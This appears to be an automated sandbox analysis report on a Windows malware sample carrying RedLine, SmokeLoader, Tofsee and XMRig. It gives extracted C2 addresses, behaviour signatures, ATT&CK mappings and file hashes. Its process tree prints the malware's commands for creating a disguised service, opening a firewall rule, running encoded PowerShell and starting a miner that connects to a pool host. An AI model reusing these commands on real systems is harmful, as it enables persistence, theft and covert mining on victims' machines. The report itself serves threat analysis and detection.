Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2022 04:37

General

  • Target

    f07887ecdf8e1d1ea6ba6f17c6b1081fc2b231fbbc06847438d7c946a089c03e.exe

  • Size

    168KB

  • MD5

    c89cfaa58997fd41eb9151ea547509ca

  • SHA1

    dd43b16f5733bdbcccbcd7ef4470b36b8a2fc2e2

  • SHA256

    f07887ecdf8e1d1ea6ba6f17c6b1081fc2b231fbbc06847438d7c946a089c03e

  • SHA512

    e167df4c8fab173d5dd66c074509e0f38393911ef18a601b9d23ab65498fd67c0952910fff53e26c5422a40ffb12f99797d7bad908918bf7213073c83dbcd94e

  • SSDEEP

    3072:U5WLW/5gok7Y6ORsGikI9vy0LWHvB8C+/PkWDn:nLWJk7Y6ORsnkwtz

Malware Config

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

C2

77.73.134.27:8163

Attributes
  • auth_value

    56c6f7b9024c076f0a96931453da7e56

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Detects Smokeloader packer 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f07887ecdf8e1d1ea6ba6f17c6b1081fc2b231fbbc06847438d7c946a089c03e.exe
    "C:\Users\Admin\AppData\Local\Temp\f07887ecdf8e1d1ea6ba6f17c6b1081fc2b231fbbc06847438d7c946a089c03e.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4604
  • C:\Users\Admin\AppData\Local\Temp\FE3B.exe
    C:\Users\Admin\AppData\Local\Temp\FE3B.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1456
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:77444
  • C:\Users\Admin\AppData\Local\Temp\1F5.exe
    C:\Users\Admin\AppData\Local\Temp\1F5.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:40744
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hzrzyukd\
      2⤵
        PID:77548
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xczrkdzo.exe" C:\Windows\SysWOW64\hzrzyukd\
        2⤵
          PID:77672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hzrzyukd binPath= "C:\Windows\SysWOW64\hzrzyukd\xczrkdzo.exe /d\"C:\Users\Admin\AppData\Local\Temp\1F5.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:77744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hzrzyukd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:77796
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hzrzyukd
          2⤵
          • Launches sc.exe
          PID:77820
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:216
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 40744 -s 660
          2⤵
          • Program crash
          PID:3452
      • C:\Users\Admin\AppData\Local\Temp\561.exe
        C:\Users\Admin\AppData\Local\Temp\561.exe
        1⤵
        • Executes dropped EXE
        PID:77820
      • C:\Users\Admin\AppData\Local\Temp\A82.exe
        C:\Users\Admin\AppData\Local\Temp\A82.exe
        1⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:77624
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA4AA==
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3128
        • C:\Users\Admin\AppData\Local\Temp\A82.exe
          C:\Users\Admin\AppData\Local\Temp\A82.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4196
      • C:\Windows\SysWOW64\hzrzyukd\xczrkdzo.exe
        C:\Windows\SysWOW64\hzrzyukd\xczrkdzo.exe /d"C:\Users\Admin\AppData\Local\Temp\1F5.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4972
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          PID:3384
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2388
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4972 -s 560
          2⤵
          • Program crash
          PID:1552
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 40744 -ip 40744
        1⤵
          PID:4392
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4972 -ip 4972
          1⤵
            PID:3500
          • C:\Users\Admin\AppData\Local\Temp\1977.exe
            C:\Users\Admin\AppData\Local\Temp\1977.exe
            1⤵
            • Executes dropped EXE
            PID:4812
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:4020
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
                PID:1780
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:1084
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:4704
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:3416
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:4652
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:4504
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe
                          1⤵
                            PID:448
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:1236
                            • C:\Users\Admin\AppData\Roaming\ssagwur
                              C:\Users\Admin\AppData\Roaming\ssagwur
                              1⤵
                              • Executes dropped EXE
                              • Checks SCSI registry key(s)
                              • Suspicious behavior: MapViewOfSection
                              PID:3376

                            Network

                            MITRE ATT&CK Matrix ATT&CK v6

                            Persistence

                            New Service

                            1
                            T1050

                            Modify Existing Service

                            1
                            T1031

                            Registry Run Keys / Startup Folder

                            1
                            T1060

                            Privilege Escalation

                            New Service

                            1
                            T1050

                            Defense Evasion

                            Modify Registry

                            1
                            T1112

                            Credential Access

                            Credentials in Files

                            1
                            T1081

                            Discovery

                            Query Registry

                            2
                            T1012

                            System Information Discovery

                            3
                            T1082

                            Peripheral Device Discovery

                            1
                            T1120

                            Collection

                            Data from Local System

                            1
                            T1005

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\A82.exe.log
                              Filesize

                              1KB

                              MD5

                              7200fb09b34d23375c2cff85323af4a4

                              SHA1

                              0994a0ab70a6f6c8c45b4664bed926779fbd5c2e

                              SHA256

                              e065d81294bae8c8404e57ce5d9d4db68472cefac1469e49f2e73671a4315e15

                              SHA512

                              417451e2279b9f1861d317edd8a517a7bb6d1e505c23fb89a16662059d23fbd789223b061ea73217d2042a2221f998c093928a28fd6d8054f53fa174f5dd02de

                            • C:\Users\Admin\AppData\Local\Temp\1977.exe
                              Filesize

                              2.7MB

                              MD5

                              c0265881059ec2ecf23befda6fb64f9b

                              SHA1

                              8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                              SHA256

                              4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                              SHA512

                              0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                            • C:\Users\Admin\AppData\Local\Temp\1977.exe
                              Filesize

                              2.7MB

                              MD5

                              c0265881059ec2ecf23befda6fb64f9b

                              SHA1

                              8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                              SHA256

                              4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                              SHA512

                              0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                            • C:\Users\Admin\AppData\Local\Temp\1F5.exe
                              Filesize

                              169KB

                              MD5

                              115ead8013c193a6d9ea0df6d8807689

                              SHA1

                              101d54c2c41f2905c98eecd9ed495c1e10393ec6

                              SHA256

                              bfb78447fa0d28bb1fa0bc4c03fbf47af8071a504b313984ef02d77dcdfb3a59

                              SHA512

                              4c0a27af7701959f832955f7b8d12e814cbb4c0386aae2c52a5a4e4ad83bd91c0fa0ce9c10aae4fd5a23c2abbd83bfa7462dbff54b55638845d1d328dcc87a53

                            • C:\Users\Admin\AppData\Local\Temp\1F5.exe
                              Filesize

                              169KB

                              MD5

                              115ead8013c193a6d9ea0df6d8807689

                              SHA1

                              101d54c2c41f2905c98eecd9ed495c1e10393ec6

                              SHA256

                              bfb78447fa0d28bb1fa0bc4c03fbf47af8071a504b313984ef02d77dcdfb3a59

                              SHA512

                              4c0a27af7701959f832955f7b8d12e814cbb4c0386aae2c52a5a4e4ad83bd91c0fa0ce9c10aae4fd5a23c2abbd83bfa7462dbff54b55638845d1d328dcc87a53

                            • C:\Users\Admin\AppData\Local\Temp\561.exe
                              Filesize

                              395KB

                              MD5

                              a864c7dcd49506486eb4a15632a34c03

                              SHA1

                              6f247530bd632cb53cdc0b7a8c466e2144c16d84

                              SHA256

                              dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                              SHA512

                              71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                            • C:\Users\Admin\AppData\Local\Temp\561.exe
                              Filesize

                              395KB

                              MD5

                              a864c7dcd49506486eb4a15632a34c03

                              SHA1

                              6f247530bd632cb53cdc0b7a8c466e2144c16d84

                              SHA256

                              dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                              SHA512

                              71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                            • C:\Users\Admin\AppData\Local\Temp\A82.exe
                              Filesize

                              1.1MB

                              MD5

                              ff97413fadad115998666fd129ccb86d

                              SHA1

                              152ca9dd31bf0c84f435154727186c8dca441f00

                              SHA256

                              6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                              SHA512

                              2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                            • C:\Users\Admin\AppData\Local\Temp\A82.exe
                              Filesize

                              1.1MB

                              MD5

                              ff97413fadad115998666fd129ccb86d

                              SHA1

                              152ca9dd31bf0c84f435154727186c8dca441f00

                              SHA256

                              6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                              SHA512

                              2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                            • C:\Users\Admin\AppData\Local\Temp\A82.exe
                              Filesize

                              1.1MB

                              MD5

                              ff97413fadad115998666fd129ccb86d

                              SHA1

                              152ca9dd31bf0c84f435154727186c8dca441f00

                              SHA256

                              6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                              SHA512

                              2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                            • C:\Users\Admin\AppData\Local\Temp\FE3B.exe
                              Filesize

                              2.6MB

                              MD5

                              d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                              SHA1

                              ed7413773b7c9154c9aeed9d173f61577522e0db

                              SHA256

                              576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                              SHA512

                              858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                            • C:\Users\Admin\AppData\Local\Temp\FE3B.exe
                              Filesize

                              2.6MB

                              MD5

                              d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                              SHA1

                              ed7413773b7c9154c9aeed9d173f61577522e0db

                              SHA256

                              576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                              SHA512

                              858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                            • C:\Users\Admin\AppData\Local\Temp\xczrkdzo.exe
                              Filesize

                              14.3MB

                              MD5

                              5601ca85b6dd63218cf5565141eabdd1

                              SHA1

                              358c844fde96b20c63b2b8ea2dc562bf6dc96051

                              SHA256

                              63ac1c9fd06767d36c23f8d81e99596b6e7d5b4e7732482517b9f69129825d99

                              SHA512

                              65f3f029d1f3495639b26f41c4e1609190d1a8f15a049a2242afb32749d75ec79ced463da07c4c0c56349e0d314bb75ba0dff082718cab88201ef2d454585cad

                            • C:\Users\Admin\AppData\Roaming\ssagwur
                              Filesize

                              168KB

                              MD5

                              c89cfaa58997fd41eb9151ea547509ca

                              SHA1

                              dd43b16f5733bdbcccbcd7ef4470b36b8a2fc2e2

                              SHA256

                              f07887ecdf8e1d1ea6ba6f17c6b1081fc2b231fbbc06847438d7c946a089c03e

                              SHA512

                              e167df4c8fab173d5dd66c074509e0f38393911ef18a601b9d23ab65498fd67c0952910fff53e26c5422a40ffb12f99797d7bad908918bf7213073c83dbcd94e

                            • C:\Users\Admin\AppData\Roaming\ssagwur
                              Filesize

                              168KB

                              MD5

                              c89cfaa58997fd41eb9151ea547509ca

                              SHA1

                              dd43b16f5733bdbcccbcd7ef4470b36b8a2fc2e2

                              SHA256

                              f07887ecdf8e1d1ea6ba6f17c6b1081fc2b231fbbc06847438d7c946a089c03e

                              SHA512

                              e167df4c8fab173d5dd66c074509e0f38393911ef18a601b9d23ab65498fd67c0952910fff53e26c5422a40ffb12f99797d7bad908918bf7213073c83dbcd94e

                            • C:\Windows\SysWOW64\hzrzyukd\xczrkdzo.exe
                              Filesize

                              14.3MB

                              MD5

                              5601ca85b6dd63218cf5565141eabdd1

                              SHA1

                              358c844fde96b20c63b2b8ea2dc562bf6dc96051

                              SHA256

                              63ac1c9fd06767d36c23f8d81e99596b6e7d5b4e7732482517b9f69129825d99

                              SHA512

                              65f3f029d1f3495639b26f41c4e1609190d1a8f15a049a2242afb32749d75ec79ced463da07c4c0c56349e0d314bb75ba0dff082718cab88201ef2d454585cad

                            • memory/216-169-0x0000000000000000-mapping.dmp
                            • memory/448-215-0x0000000000000000-mapping.dmp
                            • memory/448-256-0x0000000000630000-0x0000000000637000-memory.dmp
                              Filesize

                              28KB

                            • memory/448-217-0x0000000000620000-0x000000000062D000-memory.dmp
                              Filesize

                              52KB

                            • memory/448-216-0x0000000000630000-0x0000000000637000-memory.dmp
                              Filesize

                              28KB

                            • memory/1084-194-0x0000000000000000-mapping.dmp
                            • memory/1084-195-0x00000000012F0000-0x00000000012F5000-memory.dmp
                              Filesize

                              20KB

                            • memory/1084-196-0x00000000012E0000-0x00000000012E9000-memory.dmp
                              Filesize

                              36KB

                            • memory/1084-251-0x00000000012F0000-0x00000000012F5000-memory.dmp
                              Filesize

                              20KB

                            • memory/1236-222-0x00000000004E0000-0x00000000004EB000-memory.dmp
                              Filesize

                              44KB

                            • memory/1236-221-0x00000000004F0000-0x00000000004F8000-memory.dmp
                              Filesize

                              32KB

                            • memory/1236-218-0x0000000000000000-mapping.dmp
                            • memory/1236-257-0x00000000004F0000-0x00000000004F8000-memory.dmp
                              Filesize

                              32KB

                            • memory/1456-136-0x0000000000000000-mapping.dmp
                            • memory/1780-225-0x0000000000700000-0x0000000000709000-memory.dmp
                              Filesize

                              36KB

                            • memory/1780-190-0x0000000000000000-mapping.dmp
                            • memory/1780-193-0x00000000006F0000-0x00000000006FF000-memory.dmp
                              Filesize

                              60KB

                            • memory/1780-192-0x0000000000700000-0x0000000000709000-memory.dmp
                              Filesize

                              36KB

                            • memory/2388-245-0x0000000000600000-0x00000000006F1000-memory.dmp
                              Filesize

                              964KB

                            • memory/2388-250-0x0000000000600000-0x00000000006F1000-memory.dmp
                              Filesize

                              964KB

                            • memory/2388-244-0x0000000000000000-mapping.dmp
                            • memory/3128-191-0x0000000005E90000-0x0000000005EAE000-memory.dmp
                              Filesize

                              120KB

                            • memory/3128-200-0x0000000006390000-0x00000000063AA000-memory.dmp
                              Filesize

                              104KB

                            • memory/3128-199-0x00000000074E0000-0x0000000007B5A000-memory.dmp
                              Filesize

                              6.5MB

                            • memory/3128-176-0x0000000000000000-mapping.dmp
                            • memory/3128-180-0x0000000000CC0000-0x0000000000CF6000-memory.dmp
                              Filesize

                              216KB

                            • memory/3128-186-0x0000000005190000-0x00000000051F6000-memory.dmp
                              Filesize

                              408KB

                            • memory/3128-185-0x0000000005340000-0x0000000005968000-memory.dmp
                              Filesize

                              6.2MB

                            • memory/3128-187-0x00000000059E0000-0x0000000005A46000-memory.dmp
                              Filesize

                              408KB

                            • memory/3376-264-0x0000000000839000-0x0000000000849000-memory.dmp
                              Filesize

                              64KB

                            • memory/3376-266-0x0000000000400000-0x0000000000584000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/3376-265-0x0000000000400000-0x0000000000584000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/3384-229-0x0000000000940000-0x0000000000946000-memory.dmp
                              Filesize

                              24KB

                            • memory/3384-177-0x0000000000630000-0x0000000000645000-memory.dmp
                              Filesize

                              84KB

                            • memory/3384-235-0x00000000009F0000-0x00000000009F5000-memory.dmp
                              Filesize

                              20KB

                            • memory/3384-232-0x00000000009E0000-0x00000000009F0000-memory.dmp
                              Filesize

                              64KB

                            • memory/3384-241-0x00000000019E0000-0x00000000019E7000-memory.dmp
                              Filesize

                              28KB

                            • memory/3384-226-0x0000000002200000-0x000000000240F000-memory.dmp
                              Filesize

                              2.1MB

                            • memory/3384-171-0x0000000000000000-mapping.dmp
                            • memory/3384-223-0x0000000000630000-0x0000000000645000-memory.dmp
                              Filesize

                              84KB

                            • memory/3384-172-0x0000000000630000-0x0000000000645000-memory.dmp
                              Filesize

                              84KB

                            • memory/3384-238-0x0000000007200000-0x000000000760B000-memory.dmp
                              Filesize

                              4.0MB

                            • memory/3416-253-0x0000000001200000-0x0000000001222000-memory.dmp
                              Filesize

                              136KB

                            • memory/3416-206-0x0000000000000000-mapping.dmp
                            • memory/3416-208-0x0000000000B90000-0x0000000000BB7000-memory.dmp
                              Filesize

                              156KB

                            • memory/3416-207-0x0000000001200000-0x0000000001222000-memory.dmp
                              Filesize

                              136KB

                            • memory/4020-188-0x0000000001310000-0x0000000001317000-memory.dmp
                              Filesize

                              28KB

                            • memory/4020-189-0x0000000001300000-0x000000000130B000-memory.dmp
                              Filesize

                              44KB

                            • memory/4020-184-0x0000000000000000-mapping.dmp
                            • memory/4020-224-0x0000000001310000-0x0000000001317000-memory.dmp
                              Filesize

                              28KB

                            • memory/4196-258-0x0000000000000000-mapping.dmp
                            • memory/4196-259-0x0000000000400000-0x0000000000482000-memory.dmp
                              Filesize

                              520KB

                            • memory/4504-255-0x0000000000470000-0x0000000000476000-memory.dmp
                              Filesize

                              24KB

                            • memory/4504-214-0x0000000000460000-0x000000000046B000-memory.dmp
                              Filesize

                              44KB

                            • memory/4504-212-0x0000000000000000-mapping.dmp
                            • memory/4504-213-0x0000000000470000-0x0000000000476000-memory.dmp
                              Filesize

                              24KB

                            • memory/4604-133-0x00000000006D0000-0x00000000006D9000-memory.dmp
                              Filesize

                              36KB

                            • memory/4604-134-0x0000000000400000-0x0000000000584000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/4604-135-0x0000000000400000-0x0000000000584000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/4604-132-0x0000000000888000-0x0000000000898000-memory.dmp
                              Filesize

                              64KB

                            • memory/4652-210-0x0000000001310000-0x0000000001315000-memory.dmp
                              Filesize

                              20KB

                            • memory/4652-209-0x0000000000000000-mapping.dmp
                            • memory/4652-254-0x0000000001310000-0x0000000001315000-memory.dmp
                              Filesize

                              20KB

                            • memory/4652-211-0x0000000001300000-0x0000000001309000-memory.dmp
                              Filesize

                              36KB

                            • memory/4704-201-0x0000000000000000-mapping.dmp
                            • memory/4704-252-0x0000000000600000-0x0000000000606000-memory.dmp
                              Filesize

                              24KB

                            • memory/4704-202-0x0000000000600000-0x0000000000606000-memory.dmp
                              Filesize

                              24KB

                            • memory/4704-203-0x00000000003F0000-0x00000000003FC000-memory.dmp
                              Filesize

                              48KB

                            • memory/4812-181-0x0000000000000000-mapping.dmp
                            • memory/4972-178-0x0000000000702000-0x0000000000712000-memory.dmp
                              Filesize

                              64KB

                            • memory/4972-179-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/40744-139-0x0000000000000000-mapping.dmp
                            • memory/40744-154-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/40744-175-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/40744-153-0x0000000000610000-0x0000000000623000-memory.dmp
                              Filesize

                              76KB

                            • memory/40744-152-0x0000000000679000-0x000000000068A000-memory.dmp
                              Filesize

                              68KB

                            • memory/77444-219-0x0000000007060000-0x0000000007222000-memory.dmp
                              Filesize

                              1.8MB

                            • memory/77444-156-0x0000000004A90000-0x0000000004B9A000-memory.dmp
                              Filesize

                              1.0MB

                            • memory/77444-164-0x0000000004A20000-0x0000000004A5C000-memory.dmp
                              Filesize

                              240KB

                            • memory/77444-155-0x0000000004F30000-0x0000000005548000-memory.dmp
                              Filesize

                              6.1MB

                            • memory/77444-162-0x00000000049C0000-0x00000000049D2000-memory.dmp
                              Filesize

                              72KB

                            • memory/77444-197-0x0000000005B00000-0x00000000060A4000-memory.dmp
                              Filesize

                              5.6MB

                            • memory/77444-220-0x0000000007760000-0x0000000007C8C000-memory.dmp
                              Filesize

                              5.2MB

                            • memory/77444-146-0x0000000000500000-0x0000000000528000-memory.dmp
                              Filesize

                              160KB

                            • memory/77444-144-0x0000000000000000-mapping.dmp
                            • memory/77444-198-0x0000000004E00000-0x0000000004E92000-memory.dmp
                              Filesize

                              584KB

                            • memory/77444-205-0x0000000005A50000-0x0000000005AA0000-memory.dmp
                              Filesize

                              320KB

                            • memory/77444-204-0x00000000059D0000-0x0000000005A46000-memory.dmp
                              Filesize

                              472KB

                            • memory/77548-151-0x0000000000000000-mapping.dmp
                            • memory/77624-160-0x0000000000590000-0x00000000006B4000-memory.dmp
                              Filesize

                              1.1MB

                            • memory/77624-157-0x0000000000000000-mapping.dmp
                            • memory/77624-170-0x0000000005060000-0x0000000005082000-memory.dmp
                              Filesize

                              136KB

                            • memory/77672-161-0x0000000000000000-mapping.dmp
                            • memory/77744-165-0x0000000000000000-mapping.dmp
                            • memory/77796-166-0x0000000000000000-mapping.dmp
                            • memory/77820-167-0x0000000000000000-mapping.dmp
                            • memory/77820-142-0x0000000000000000-mapping.dmp